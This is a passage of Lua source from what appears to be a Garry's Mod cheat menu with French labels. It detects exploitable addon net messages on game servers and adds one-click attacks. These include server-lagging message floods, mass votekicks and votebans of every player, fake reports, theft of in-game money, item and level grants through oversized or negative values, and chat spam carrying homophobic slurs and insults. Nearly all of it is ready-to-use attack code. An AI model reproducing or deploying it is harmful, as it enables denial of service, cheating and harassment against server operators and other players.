4652CHATPRINT("Exploit Trouvé : Lagger #11 [MG2.Request.GangRankings]")
4653addExploit( "33","Lagger #11", "", function()
4654surface.PlaySound("garrysmod/ui_click.wav")
4655if !timer.Exists( "lagger11" ) then
4656timer.Create("lagger11", 0, 0, function()
4657for i = 1, 1000 do
4658net.Start("MG2.Request.GangRankings",true)
4659net.SendToServer()
4660end
4661end)
4662NOTIFICATION("Starting Lagger")
4663else
4664timer.Remove("lagger11")
4665NOTIFICATION("Stopping Lagger")
4666end
4667end )
4668end
4669
4670status = ValidNetString("dLogsGetCommand")
4671if (status) then
4672CHATPRINT("Exploit Trouvé : Lagger #12 [dLogsGetCommand]")
4673addExploit( "34","Lagger #12", "", function()
4674surface.PlaySound("garrysmod/ui_click.wav")
4675NOTIFICATION("Starting Lagger")
4676for i=1,7000 do
4677net.Start("dLogsGetCommand",true)
4678net.WriteTable({ cmd = "+forward" , args = " " })
4679net.SendToServer()
4680end
4681end )
4682end
4683
4684status = ValidNetString("ats_send_toServer")
4685if (status) then
4686CHATPRINT("Exploit Trouvé : Lagger #13 [ats_send_toServer]")
4687addExploit( "35","Lagger #13", "", function()
4688surface.PlaySound("garrysmod/ui_click.wav")
4689NOTIFICATION("Starting Lagger")
4690for i=1,2000 do
4691net.Start("ats_send_toServer",true)
4692net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
4693net.SendToServer()
4694end
4695end )
4696end
4697
4698status = ValidNetString("shopguild_buyitem")
4699if (status) then
4700CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
4701addExploit( "36","Exploit De Guildes", "", function()
4702surface.PlaySound("garrysmod/ui_click.wav")
4703CHATPRINT("Guild level successfully upgraded")
4704local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
4705if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
4706net.Start("shopguild_buyitem")
4707net.WriteString("lvl")
4708net.WriteDouble(level)
4709net.WriteString("Guild Level "..level)
4710net.WriteEntity(LocalPlayer())
4711net.WriteUInt(2,4)
4712net.WriteDouble(0)
4713net.SendToServer()
4714level = level + 1
4715end )
4716end
4717
4718status = ValidNetString("VoteKickNO")
4719if (status) then
4720CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
4721addExploit( "37","Votekick", "kicking all", function()
4722surface.PlaySound("garrysmod/ui_click.wav")
4723for k,v in pairs(player.GetAll()) do
4724net.Start("VoteKickNO")
4725net.WriteFloat(v:EntIndex())
4726net.WriteFloat(6)
4727net.SendToServer()
4728net.Start("VoteKickNO")
4729net.WriteFloat(v:EntIndex())
4730net.WriteFloat(6)
4731net.SendToServer()
4732net.Start("VoteKickNO")
4733net.WriteFloat(v:EntIndex())
4734net.WriteFloat(6)
4735net.SendToServer()
4736net.Start("VoteKickNO")
4737net.WriteFloat(v:EntIndex())
4738net.WriteFloat(6)
4739net.SendToServer()
4740end
4741end )
4742end
4743
4744status = ValidNetString("VoteBanNO")
4745if (status) then
4746CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
4747addExploit( "38","Voteban", "bans all", function()
4748surface.PlaySound("garrysmod/ui_click.wav")
4749for k,v in pairs(player.GetAll()) do
4750net.Start("VoteBanNO")
4751net.WriteFloat(v:EntIndex())
4752net.WriteFloat(8)
4753net.SendToServer()
4754net.Start("VoteBanNO")
4755net.WriteFloat(v:EntIndex())
4756net.WriteFloat(8)
4757net.SendToServer()
4758net.Start("VoteBanNO")
4759net.WriteFloat(v:EntIndex())
4760net.WriteFloat(8)
4761net.SendToServer()
4762end
4763end )
4764end
4765
4766status = ValidNetString("NewReport")
4767if (status) then
4768CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
4769addExploit( "39","Report Modifié", "", function()
4770surface.PlaySound("garrysmod/ui_click.wav")
4771for k,v in pairs(player.GetAll()) do
4772net.Start("NewReport")
4773net.WriteType(ply)
4774net.WriteInt(8,5)
4775net.WriteString("hahaha")
4776net.SendToServer()
4777end
4778end )
4779end
4780
4781status = ValidNetString("Warn_CreateWarn")
4782if (status) then
4783CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
4784addExploit( "40","Warns Modifiés", "", function()
4785surface.PlaySound("garrysmod/ui_click.wav")
4786for k,v in pairs(player.GetAll()) do
4787net.Start("Warn_CreateWarn")
4788net.WriteEntity(ply)
4789net.WriteString("hahaha")
4790net.SendToServer()
4791end
4792end )
4793end
4794
4795status = ValidNetString("showDisguiseHUD")
4796if (status) then
4797CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
4798addExploit( "41","Déguisements #2", "", function()
4799surface.PlaySound("garrysmod/ui_click.wav")
4800CHATPRINT("Choisi Ton Déguisements")
4801PlayerCount = 0
4802for k, v in pairs(player.GetAll()) do
4803PlayerCount = PlayerCount + 1
4804end
4805local TeamNum
4806local disguise_Model_Preview_Default
4807local base = vgui.Create("DFrame")
4808base:SetSize(300,420)
4809base:Center()
4810base:SetTitle(" ")
4811base:ShowCloseButton(false)
4812base:MakePopup()
4813function base:Paint()
4814draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
4815draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
4816draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
4817draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
4818draw.SimpleText("Déguisements", "DisFontBold", base:GetWide()/4, -1)
4819end
4820local ExitButton = vgui.Create("DButton", base)
4821ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
4822ExitButton:SetText("Fermer")
4823ExitButton:SetSize(60,20)
4824ExitButton:SetFont("DermaDefaultBold")
4825ExitButton.Paint = function()
4826if ExitButton.Hovered then
4827if ExitButton:IsDown() then
4828ExitButton:SetTextColor(Color(200,200,200,200))
4829draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
4830else
4831ExitButton:SetTextColor(Color(255,255,255,255))
4832draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
4833end
4834else
4835ExitButton:SetTextColor(Color(20,20,20,200))
4836draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
4837end
4838end
4839function ExitButton.DoClick()
4840base:Remove()
4841net.Start("changeToPhysgun")
4842net.SendToServer()
4843end
4844local DTeamChoice = vgui.Create("DComboBox", base)
4845DTeamChoice:SetSize(150, 22)
4846DTeamChoice:SetPos(75, 50)
4847DTeamChoice:SetValue("Choisi L'Emplois")
4848for k, v in pairs(team.GetAllTeams()) do
4849if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
4850end
4851DTeamChoice.OnSelect = function(panel, index, value)
4852for k,_ in pairs(team.GetAllTeams()) do
4853if value == team.GetName(k) then
4854for _, v in pairs(player.GetAll())do
4855if v:Team() == k then
4856TeamNum = v:Team()
4857disguise_Model_Preview_Default = v:GetModel()
4858end
4859end
4860end
4861end
4862timer.Create("RefreshModel", 0.1, 0, function()
4863local icon = vgui.Create( "DModelPanel", base )
4864icon:SetSize(300, 260)
4865icon:SetPos(-5, 80)
4866icon:SetFOV(68)
4867icon:SetModel( disguise_Model_Preview_Default )
4868timer.Simple(0.1, function()
4869icon:Remove()
4870end)
4871end)
4872local DisguiseButton = vgui.Create("DButton", base)
4873DisguiseButton:SetPos(base:GetWide()/2.5, 360)
4874DisguiseButton:SetSize(60,20)
4875DisguiseButton:SetText("Accepter")
4876DisguiseButton:SetFont("DermaDefaultBold")
4877function DisguiseButton:Paint()
4878if DisguiseButton.Hovered then
4879if DisguiseButton:IsDown() then
4880DisguiseButton:SetTextColor(Color(200,200,200,200))
4881draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
4882else
4883DisguiseButton:SetTextColor(Color(255,255,255,255))
4884draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
4885end
4886else
4887DisguiseButton:SetTextColor(Color(20,20,20,200))
4888draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
4889end
4890end
4891function DisguiseButton:DoClick()
4892net.Start("SetPlayerModel")
4893if ChosenName == nil then
4894net.WriteString(LocalPlayer():Nick())
4895else
4896net.WriteString(ChosenName)
4897end
4898net.WriteUInt(TeamNum, 16)
4899net.SendToServer()
4900base:Close()
4901net.Start("changeToPhysgun")
4902net.SendToServer()
4903end
4904end
4905end
4906)
4907end
4908
4909status = ValidNetString("Chatbox_PlayerChat")
4910if (status) then
4911CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
4912addExploit( "42","Spam Chat", "", function()
4913surface.PlaySound("garrysmod/ui_click.wav")
4914NOTIFICATION("Starting")
4915timer.Create("willoxchatspam", 1, 0, function()
4916net.Start("Chatbox_PlayerChat")
4917net.WriteEntity(LocalPlayer())
4918net.WriteBit(1)
4919net.WriteString("FAGGOTS")
4920net.WriteBit(1)
4921net.SendToServer()
4922end )
4923end )
4924end
4925
4926status = ValidNetString("BuilderXToggleKill")
4927if (status) then
4928CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
4929addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
4930surface.PlaySound("garrysmod/ui_click.wav")
4931NOTIFICATION("Starting")
4932for k, v in pairs(player.GetAll()) do
4933net.Start("BuilderXToggleKill")
4934net.WriteEntity(ply)
4935net.SendToServer()
4936end
4937end )
4938end
4939
4940status = ValidNetString("reports.submit")
4941if (status) then
4942CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
4943addExploit( "44","Report Tout Le Monde", "", function()
4944surface.PlaySound("garrysmod/ui_click.wav")
4945NOTIFICATION("Starting")
4946for k,v in pairs(player.GetAll()) do
4947net.Start("reports.submit")
4948net.WriteEntity(v)
4949net.WriteInt(5, 8)
4950net.WriteString("SuckMyDick")
4951net.SendToServer()
4952end
4953end )
4954end
4955
4956status = ValidNetString("services_accept")
4957if (status) then
4958CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
4959addExploit( "45","Spam Services", "spam to all players", function()
4960surface.PlaySound("garrysmod/ui_click.wav")
4961NOTIFICATION("Starting")
4962timer.Create("serviceaccept", 0, 0, function()
4963for k,v in pairs(player.GetAll()) do
4964net.Start("services_accept")
4965net.WriteString("Nice security, retards xd")
4966net.WriteVector(Vector(v:GetPos()))
4967net.WriteString("test image")
4968net.WriteEntity(v)
4969net.SendToServer()
4970end
4971end )
4972timer.Simple(4, function()
4973timer.Destroy("serviceaccept")
4974end )
4975end )
4976end
4977
4978status = ValidNetString("lockpick_sound")
4979if (status) then
4980CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
4981addExploit( "46","LockPick Spam Son", "", function()
4982surface.PlaySound("garrysmod/ui_click.wav")
4983NOTIFICATION("Starting")
4984timer.Create( "spamlockpicksound", 3, 0, function()
4985for k, v in pairs( player.GetAll() ) do
4986net.Start("lockpick_sound")
4987net.WriteEntity(v)
4988net.SendToServer()
4989end
4990end )
4991timer.Simple(4, function()
4992timer.Destroy("spamlockpicksound")
4993end )
4994end )
4995end
4996
4997status = ValidNetString("customprinter_get")
4998if (status) then
4999CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
5000addExploit( "47","Voler L'Argents Des Printers", "", function()
5001surface.PlaySound("garrysmod/ui_click.wav")
5002NOTIFICATION("Starting")
5003for k, v in pairs(ents.GetAll()) do
5004if v:GetClass():find("print") then
5005net.Start("customprinter_get")
5006net.WriteEntity(v)
5007net.WriteString("g_money")
5008net.SendToServer()
5009end
5010end
5011end )
5012end
5013
5014status = ValidNetString("InformPlayer")
5015if (status) then
5016CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
5017addExploit( "48","SimpleGrab Inform", "", function()
5018surface.PlaySound("garrysmod/ui_click.wav")
5019NOTIFICATION("Starting")
5020for k,v in pairs(player.GetAll()) do
5021for i = 0, 100 do
5022net.Start("InformPlayer")
5023net.WriteEntity(v)
5024net.SendToServer()
5025end
5026end
5027end )
5028end
5029
5030status = ValidNetString("pogcp_report_submitReport")
5031if (status) then
5032CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
5033addExploit( "49","Report Tout Le Monde #2", "", function()
5034surface.PlaySound("garrysmod/ui_click.wav")
5035NOTIFICATION("Starting")
5036for i = 0, 100 do
5037for k,v in pairs(player.GetAll()) do
5038net.Start("pogcp_report_submitReport")
5039net.WriteString("lol")
5040net.WriteString("nice security retards")
5041net.WriteEntity(v)
5042net.SendToServer()
5043end
5044end
5045end )
5046end
5047
5048status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5049if (status) then
5050CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
5051addExploit( "50","Candidature De Dictateur Instant", "", function()
5052surface.PlaySound("garrysmod/ui_click.wav")
5053NOTIFICATION("Starting")
5054net.Start("1942_Fuhrer_SubmitCandidacy")
5055net.WriteString(LocalPlayer():Nick())
5056net.SendToServer()
5057end )
5058end
5059
5060status = ValidNetString("FacCreate")
5061if (status) then
5062CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
5063addExploit( "51","Fac Create", "old exploit", function()
5064surface.PlaySound("garrysmod/ui_click.wav")
5065NOTIFICATION("Starting")
5066timer.Create("fucklol", 1, 0, function()
5067net.Start("FacCreate")
5068net.WriteString("LOL " .. random_string(5))
5069net.WriteString("LOL " .. random_string(10))
5070net.WriteColor(random_color())
5071net.WriteBool(false)
5072net.WriteString(random_string(5))
5073net.SendToServer()
5074end )
5075end )
5076end
5077
5078status = ValidNetString("FactionInviteConsole")
5079if (status) then
5080CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
5081addExploit( "52","Faction Invite", "", function()
5082surface.PlaySound("garrysmod/ui_click.wav")
5083NOTIFICATION("Starting")
5084timer.Create("lovedarkexploitsxd", 1, 0, function()
5085for k, v in pairs(player.GetAll()) do
5086net.Start("FactionInviteConsole")
5087net.WriteEntity( ply )
5088net.WriteEntity(table.Random(player.GetAll()))
5089net.SendToServer()
5090end
5091end )
5092end )
5093end
5094
5095status = ValidNetString("WithdrewBMoney")
5096if (status) then
5097CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
5098addExploit( "53","Argent Gratuite #2", "an exploit in the addon 'business'", function()
5099surface.PlaySound("garrysmod/ui_click.wav")
5100NOTIFICATION("Starting")
5101net.Start("WithdrewBMoney")
5102net.WriteInt(50000,32)
5103net.SendToServer()
5104end )
5105end
5106
5107status = ValidNetString("deathrag_takeitem")
5108if (status) then
5109CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
5110addExploit( "54","Items Faciles", "collects money, weapons", function()
5111surface.PlaySound("garrysmod/ui_click.wav")
5112NOTIFICATION("Starting")
5113count = 0
5114for k, v in pairs( ents.GetAll() ) do
5115if v:GetClass() == "prop_ragdoll" then
5116count = count + 1
5117end
5118end
5119if count == 0 then
5120CHATPRINT("No items found")
5121else
5122CHATPRINT("Amount of items "..count)
5123end
5124for k, v in pairs( ents.GetAll() ) do
5125if v:GetClass() == "prop_ragdoll" then
5126for i=1,10 do
5127net.Start("deathrag_takeitem")
5128net.WriteEntity( v )
5129net.WriteInt(i,16)
5130net.SendToServer()
5131end
5132end
5133end
5134end )
5135end
5136
5137status = ValidNetString("REPPurchase")
5138if (status) then
5139CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
5140addExploit( "55","Heal & Armure", "armor and hp", function()
5141surface.PlaySound("garrysmod/ui_click.wav")
5142NOTIFICATION("Starting")
5143if LocalPlayer():Health() < 99 then
5144net.Start("REPPurchase")
5145net.WriteString("HEALTH")
5146net.SendToServer()
5147end
5148if LocalPlayer():Armor() < 99 then
5149net.Start("REPPurchase")
5150net.WriteString("ARMOR")
5151net.SendToServer()
5152end
5153end )
5154end
5155
5156status = ValidNetString("BTTTStartVotekick")
5157if (status) then
5158CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
5159addExploit( "56","Votekick #2", "kick all noobs", function()
5160surface.PlaySound("garrysmod/ui_click.wav")
5161NOTIFICATION("Starting")
5162for k,v in pairs(player.GetAll()) do
5163if v != LocalPlayer() then
5164net.Start("BTTTStartVotekick")
5165net.Start("_nonDBVMVote")
5166net.WriteEntity(v)
5167net.WriteString("")
5168net.WriteString("1")
5169net.SendToServer()
5170end
5171end
5172end )
5173end
5174
5175status = ValidNetString("Resupply")
5176if (status) then
5177CHATPRINT("Exploit Trouvé : Respawn Equipment [Resupply]")
5178addExploit( "57","Respawn Equipment", "", function()
5179surface.PlaySound("garrysmod/ui_click.wav")
5180NOTIFICATION("Starting")
5181net.Start("Resupply")
5182net.SendToServer()
5183end )
5184end
5185
5186status = ValidNetString("DarkRP_Defib_ForceSpawn")
5187if (status) then
5188CHATPRINT("Exploit Trouvé : Respawn [DarkRP_Defib_ForceSpawn]")
5189addExploit( "58","Respawn #2", "just respawn", function()
5190surface.PlaySound("garrysmod/ui_click.wav")
5191NOTIFICATION("Respawn")
5192net.Start("DarkRP_Defib_ForceSpawn")
5193net.SendToServer()
5194end )
5195end
5196
5197status = ValidNetString("FiremanLeave")
5198if (status) then
5199CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
5200addExploit( "59","Fireman Leave", "", function()
5201surface.PlaySound("garrysmod/ui_click.wav")
5202NOTIFICATION("Starting")
5203net.Start("FiremanLeave")
5204net.SendToServer()
5205end )
5206end
5207
5208status = ValidNetString("PoliceJoin")
5209if (status) then
5210CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
5211addExploit( "60","Join the Police 1", "joining the police", function()
5212surface.PlaySound("garrysmod/ui_click.wav")
5213NOTIFICATION("Starting")
5214net.Start("PoliceJoin")
5215net.SendToServer()
5216end )
5217end
5218
5219status = ValidNetString("CreateEntity")
5220if (status) then
5221CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
5222addExploit( "61","Create Entity", "", function()
5223surface.PlaySound("garrysmod/ui_click.wav")
5224NOTIFICATION("Starting")
5225for k,v in pairs(player.GetAll()) do
5226net.Start("CreateEntity")
5227net.WriteString("sent_arc_atm")
5228net.WriteFloat(100000000000000000000000000000000000000000000000000)
5229net.WriteEntity(v)
5230net.SendToServer()
5231end
5232end )
5233end
5234
5235status = ValidNetString("CREATE_REPORT")
5236if (status) then
5237CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
5238addExploit( "62","CREATE REPORT", "", function()
5239surface.PlaySound("garrysmod/ui_click.wav")
5240NOTIFICATION("Starting")
5241local tab = {
5242 REPORTER = v:Nick(),
5243 REPORTERID = v:SteamID(),
5244 FAGGOT = v:Nick(),
5245 FAGGOTID = v:SteamID(),
5246 INFO = "Dite Bonjour A YouTube :D",
5247 PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
5248 }
5249for k,v in pairs(player.GetAll()) do
5250net.Start("CREATE_REPORT")
5251net.WriteTable(tab)
5252net.SendToServer()
5253end
5254end )
5255end
5256
5257status = ValidNetString("Hopping_Test")
5258if (status) then
5259CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
5260addExploit( "62","Hopping Test", "", function()
5261surface.PlaySound("garrysmod/ui_click.wav")
5262NOTIFICATION("Starting")
5263for k,v in pairs(player.GetAll()) do
5264net.Start("Hopping_Test")
5265net.WriteEntity(v)
5266net.WriteString("69.696.696969.69")
5267net.SendToServer()
5268end
5269end )
5270end
5271
5272status = ValidNetString("CpForm_Answers")
5273if (status) then
5274CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
5275addExploit( "63","Join the Police 2", "joining the police #2", function()
5276surface.PlaySound("garrysmod/ui_click.wav")
5277NOTIFICATION("Starting")
5278net.Start("CpForm_Answers")
5279net.WriteEntity(LocalPlayer())
5280net.WriteTable({})
5281net.SendToServer()
5282end )
5283end
5284
5285status = ValidNetString("VehicleUnderglow")
5286if (status) then
5287CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
5288addExploit( "64","Vehicle Underglow", "", function()
5289surface.PlaySound("garrysmod/ui_click.wav")
5290NOTIFICATION("Starting")
5291net.Start("VehicleUnderglow")
5292net.SendToServer()
5293end )
5294end
5295
5296status = ValidNetString("OpenGates")
5297if (status) then
5298CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
5299addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
5300surface.PlaySound("garrysmod/ui_click.wav")
5301NOTIFICATION("Starting")
5302net.Start("OpenGates")
5303net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5304net.SendToServer()
5305end )
5306end
5307
5308status = ValidNetString("DemotePlayer")
5309if (status) then
5310CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
5311addExploit( "66","Demote All Players", "Demote all players", function()
5312surface.PlaySound("garrysmod/ui_click.wav")
5313NOTIFICATION("Starting")
5314for k, v in pairs(player.GetAll()) do
5315net.Start("DemotePlayer")
5316net.WriteString(v:SteamID())
5317net.SendToServer()
5318end
5319end )
5320end
5321
5322status = ValidNetString("SendMail")
5323if (status) then
5324CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
5325addExploit( "67","Envoyez Mail", "sending mail to all players", function()
5326surface.PlaySound("garrysmod/ui_click.wav")
5327NOTIFICATION("Starting")
5328for k,v in pairs(player.GetAll()) do
5329net.Start("SendMail")
5330net.WriteString("haha nice security retards")
5331net.WriteString(v:Nick())
5332net.SendToServer()
5333end
5334end )
5335end
5336
5337status = ValidNetString("REPAdminChangeLVL")
5338if (status) then
5339CHATPRINT("Exploit Trouvé : Admin Change Level [REPAdminChangeLVL]")
5340addExploit( "68","Admin Change Level", "free lvl", function()
5341surface.PlaySound("garrysmod/ui_click.wav")
5342NOTIFICATION("Starting")
5343for k,v in pairs(player.GetAll()) do
5344net.Start("REPAdminChangeLVL")
5345net.WriteEntity(v)
5346net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5347net.SendToServer()
5348end
5349end )
5350end
5351
5352status = ValidNetString("BuyUpgradesStuff")
5353if (status) then
5354CHATPRINT("Exploit Trouvé : Buy Upgrades [BuyUpgradesStuff]")
5355addExploit( "69","Buy Upgrades", "free upgrades", function()
5356surface.PlaySound("garrysmod/ui_click.wav")
5357NOTIFICATION("Starting")
5358net.Start("BuyUpgradesStuff")
5359net.WriteString("")
5360net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5361net.SendToServer()
5362end )
5363end
5364
5365status = ValidNetString("SquadGiveWeapon")
5366if (status) then
5367CHATPRINT("Exploit Trouvé : Give Weapons [SquadGiveWeapon]")
5368addExploit( "70","Give Weapons", "easy weapon", function()
5369surface.PlaySound("garrysmod/ui_click.wav")
5370inputFrameExists = true
5371inputFrame = vgui.Create( "DFrame" )
5372inputFrame:SetTitle("Choose a weapon!")
5373inputFrame:SetSize( 400, 75 )
5374inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5375inputFrame:SetDraggable(false)
5376inputFrame:ShowCloseButton(true)
5377inputFrame:MakePopup()
5378inputFrame.Paint = function( self, w, h )
5379draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5380end
5381local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5382TextEntry:SetSize( 380, 30 )
5383TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5384TextEntry:SetText( "ls_sniper" )
5385TextEntry.OnEnter = function( self )
5386surface.PlaySound("garrysmod/ui_click.wav")
5387NOTIFICATION("Giving Weapon")
5388net.Start("SquadGiveWeapon")
5389net.WriteString( self:GetValue() )
5390net.WriteEntity(LocalPlayer())
5391net.SendToServer()
5392inputFrame:SetVisible(false)
5393end
5394end )
5395end
5396
5397status = ValidNetString("SetTableTarget")
5398if (status) then
5399CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
5400addExploit( "71","Set Table Target", "", function()
5401surface.PlaySound("garrysmod/ui_click.wav")
5402NOTIFICATION("Starting")
5403net.Start("SetTableTarget")
5404net.WriteString("pername")
5405net.WriteString("perjob")
5406net.WriteInt(-10000000000000, 32)
5407net.WriteString("hitmansel")
5408net.WriteString("Anony.")
5409net.WriteString("")
5410net.WriteFloat(0)
5411net.WriteInt(-10000000000000, 32)
5412net.SendToServer()
5413end )
5414end
5415
5416status = ValidNetString("UpdateRPUModelSQL")
5417if (status) then
5418CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
5419addExploit( "72","Change character model", "", function()
5420surface.PlaySound("garrysmod/ui_click.wav")
5421NOTIFICATION("Starting")
5422net.Start("UpdateRPUModelSQL")
5423net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
5424net.SendToServer()
5425end )
5426end
5427
5428status = ValidNetString("disguise")
5429if (status) then
5430CHATPRINT("Exploit Trouvé : Disguise [disguise]")
5431addExploit( "73","Disguise", "allows you to disguise as any job", function()
5432surface.PlaySound("garrysmod/ui_click.wav")
5433inputFrameExists = true
5434inputFrame = vgui.Create( "DFrame" )
5435inputFrame:SetTitle("Enter the number of the job")
5436inputFrame:SetSize( 400, 75 )
5437inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5438inputFrame:SetDraggable(false)
5439inputFrame:ShowCloseButton(true)
5440inputFrame:MakePopup()
5441inputFrame.Paint = function( self, w, h )
5442draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5443end
5444local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5445TextEntry:SetSize( 380, 30 )
5446TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5447TextEntry:SetText( "5" )
5448TextEntry.OnEnter = function( self )
5449surface.PlaySound("garrysmod/ui_click.wav")
5450NOTIFICATION("Disguised")
5451net.Start("disguise")
5452net.WriteInt(tonumber(self:GetValue()), 32)
5453net.SendToServer()
5454inputFrame:SetVisible(false)
5455end
5456end )
5457end
5458
5459status = ValidNetString("gportal_rpname_change")
5460if (status) then
5461CHATPRINT("Exploit Trouvé : Your RP Name #1 [gportal_rpname_change]")
5462addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
5463surface.PlaySound("garrysmod/ui_click.wav")
5464inputFrameExists = true
5465inputFrame = vgui.Create( "DFrame" )
5466inputFrame:SetTitle("Enter your name")
5467inputFrame:SetSize( 400, 75 )
5468inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5469inputFrame:SetDraggable(false)
5470inputFrame:ShowCloseButton(true)
5471inputFrame:MakePopup()
5472inputFrame.Paint = function( self, w, h )
5473draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5474end
5475local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5476TextEntry:SetSize( 380, 30 )
5477TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5478TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5479TextEntry.OnEnter = function( self )
5480surface.PlaySound("garrysmod/ui_click.wav")
5481NOTIFICATION("Changed")
5482net.Start("gportal_rpname_change")
5483net.WriteString( (self:GetValue()), 32)
5484net.WriteString(" ")
5485net.SendToServer()
5486inputFrame:SetVisible(false)
5487end
5488end )
5489end
5490
5491status = ValidNetString("NewRPNameSQL")
5492if (status) then
5493CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
5494addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
5495surface.PlaySound("garrysmod/ui_click.wav")
5496inputFrameExists = true
5497inputFrame = vgui.Create( "DFrame" )
5498inputFrame:SetTitle("Enter your name")
5499inputFrame:SetSize( 400, 75 )
5500inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5501inputFrame:SetDraggable(false)
5502inputFrame:ShowCloseButton(true)
5503inputFrame:MakePopup()
5504inputFrame.Paint = function( self, w, h )
5505draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5506end
5507local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5508TextEntry:SetSize( 380, 30 )
5509TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5510TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5511TextEntry.OnEnter = function( self )
5512surface.PlaySound("garrysmod/ui_click.wav")
5513NOTIFICATION("Changed")
5514net.Start("NewRPNameSQL")
5515net.WriteString( (self:GetValue()), 32)
